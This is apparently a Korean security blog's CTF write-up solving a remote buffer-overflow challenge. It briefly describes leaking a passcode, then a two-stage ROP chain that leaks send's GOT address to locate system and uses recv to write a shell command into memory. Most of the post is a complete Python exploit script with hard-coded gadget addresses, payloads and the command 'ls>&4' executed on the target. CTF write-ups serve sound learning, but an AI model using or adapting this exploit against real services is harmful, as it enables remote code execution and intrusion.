간단한 버퍼오버플로 문제..
라고 하나 한 7시간정도 걸려서 푼것같다(왜이렇게 페이로드에서 계속 실수를 하는지)


공격방법은 처음 메뉴부분에서 target을 중간에 00이들어가지 않도록 큰값으로 주고(상수여서 부동소숫점 한참보다가그냥 99999.999999999 처럼 겁나 크게 해서 보냄)

buf의 null바이트를 지우도록 200바이트 꽉차게 보내준다

그러면 passcode가 릭되고 카운트 다운 하는 곳으로 넘어갈 수 있다


그다음보면 이상한 값을 막 출력하면서 카운트 다운이 되는데 잘보면 윗부분에 pthread로 start_routine을 실행시킨다

그리고 보면은 오버플로가 일어난다 여기서 rop를 해주면 되는데


처음으로는 system함수와 send의 거리차를 구하고 send로 send의 got값을 가져온다

send는 인자가 4개인데 마우스 휠 조금 드르륵드르륵 내리다 보면 pop4개 ret이 나온다

그리고 다시 start_routine을 다시 실행시켜주고


두번쨰는 다시 오버플로를 일으킨다음에 recv로 비어있는 메모리 공간에 실행시킬 명령어를 써주고

system함수를 실행시키면 된다


아래익스플로잇에서 hexdump는 인터넷에서 받아온거임!


exploit code




from socket import *
from struct import pack, unpack
import hexdump
import time

p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]
ip = "192.168.74.131"
port = 1129

sd = p(0x00000004)
pop4ret = p(0x0804917C)
popret = p(0x080491a6)
recv_plt = p(0x080488E0)
send_plt = p(0x08048900)
send_got = p(0x0804B07C)
start_routine = p(0x08048B5B)
addr_size = p(0x00000004)
free_sp = p(0x804b080)

system = 0


payload = ""
cnt = 101

#stage1


payload += "A"*0x210
payload += send_plt
payload += pop4ret
payload += sd
payload += send_got
payload += addr_size
payload += p(0)

payload += start_routine
payload += "BBBB"
payload += sd

s = socket(AF_INET, SOCK_STREAM)
s.connect((ip, port))

print s.recv(1024)
print s.recv(1024) + "target\n"
s.send("target\n")
print s.recv(1024) + "9999999999999.999999999999/9999999999999.999999999999\n"
s.send("9999999999999.999999999999/9999999999999.999999999999\n")
print s.recv(1024)
print s.recv(1024)
s.send("a"*0x201)
hexdump.hexdump(s.recv(1024))    #justfor proov leak
print s.recv(1024)
s.send("launch\n")
print s.recv(1024)
s.send("passcode\n")
print s.recv(1024)
print s.recv(1024)
print s.recv(1024)
s.send(payload + "\n")
print s.recv(1024)
system = up(s.recv(1024))
print "system = "+ hex(system)
system += 0xe90
system = p(system)

#system rop start
payload = ""
payload += "A"*0x210
payload += recv_plt
payload += pop4ret
payload += sd
payload += free_sp
payload += p(10)
payload += p(0)

payload += system
payload += "BBBB" #ret dummy
payload += free_sp

s.send(payload+"\n")
print s.recv(1024)
print s.recv(1024)
s.send("ls>&4\n")
print s.recv(1024)


s.close()

저작자 표시 비영리 동일 조건 변경 허락
신고

'공부 > 시스템' 카테고리의 다른 글

DRAM RowHammer  (0) 2015.03.11
codegate junior 2014 nuclear  (1) 2014.09.09
dumpcode.h  (0) 2014.03.24
simple_bof  (0) 2014.03.21
system_prob_2  (0) 2014.03.21

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글 하나 달렸습니다.
  1. 건이 열심히 한다 열심히 해~
secret